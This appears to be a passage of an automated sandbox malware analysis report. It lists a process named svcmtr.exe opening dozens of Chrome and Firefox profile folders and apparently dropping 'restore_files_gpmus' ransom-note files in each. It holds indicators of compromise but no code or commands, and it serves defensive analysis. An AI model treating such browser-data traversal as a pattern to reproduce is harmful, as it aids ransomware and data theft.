Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Session Storage\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Storage\ext\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\databases\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\CertificateRevocation\8167\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Crowd Deny\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Mozilla\Firefox\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\BudgetDatabase\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\ECSerivceProvidersConfig\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\MEIPreload\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\databases\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Subresource Filter\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\PepperFlash\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\SafetyTips\2986\_metadata\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Mozilla\Firefox\Profiles\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Code Cache\wasm\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\pnacl\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Crashpad\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\ThirdPartyModuleList64\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\SafetyTips\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Code Cache\js\index-dir\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Safe Browsing\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Crowd Deny\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Subresource Filter\Unindexed Rules\9.47.0\LICENSE.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\SSLErrorAssistant\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Code Cache\wasm\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Crowd Deny\2022.10.19.1145\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\MEIPreload\1.0.6.0\_metadata\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\CertificateRevocation\8167\_metadata\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Crashpad\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Crashpad\reports\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\AutofillStrikeDatabase\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\SafetyTips\2986\_metadata\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Mozilla\Firefox\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\blob_storage\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\BrowserMetrics\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\TLSDeprecationConfig\4\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Safe Browsing\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\SafetyTips\2986\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\GrShaderCache\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\GrShaderCache\GPUCache\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\OriginTrials\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Code Cache\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\MEIPreload\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Cache\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\BudgetDatabase\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Rules\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\ShaderCache\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Code Cache\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\OriginTrials\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\ShaderCache\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension State\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\pnacl\0.57.44.2492\_metadata\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\ECSerivceProvidersConfig\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\GCM Store\Encryption\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\MEIPreload\1.0.6.0\_metadata\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\TLSDeprecationConfig\4\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Code Cache\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Crashpad\reports\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Sync Data\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\FileTypePolicies\61\_metadata\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Mozilla\Firefox\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\InterventionPolicyDatabase\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\chrome_shutdown_ms.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Mozilla\Firefox\Profiles\7xwghk55.default\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\WidevineCdm\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\SafetyTips\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Crowd Deny\2022.10.19.1145\_metadata\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\ShaderCache\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Subresource Filter\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Storage\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Mozilla\Firefox\Profiles\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Crowd Deny\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension State\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\PepperFlash\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\SSLErrorAssistant\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Cache\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Crashpad\reports\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Rules\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Crashpad\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Code Cache\wasm\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Local Storage\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Crowd Deny\2022.10.19.1145\_metadata\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Local Storage\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\CertificateRevocation\8167\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\BudgetDatabase\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\BrowserMetrics\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\CertificateRevocation\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\blob_storage\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\MEIPreload\1.0.6.0\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\WidevineCdm\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\GrShaderCache\GPUCache\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\WidevineCdm\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Crowd Deny\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\BudgetDatabase\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Code Cache\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Code Cache\js\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Crowd Deny\2022.10.19.1145\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Mozilla\Firefox\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\pnacl\0.57.44.2492\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\BrowserMetrics\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\pnacl\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\SafetyTips\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\FileTypePolicies\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File opened: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\GCM Store\restore_files_gpmus.txt	Jump to behavior
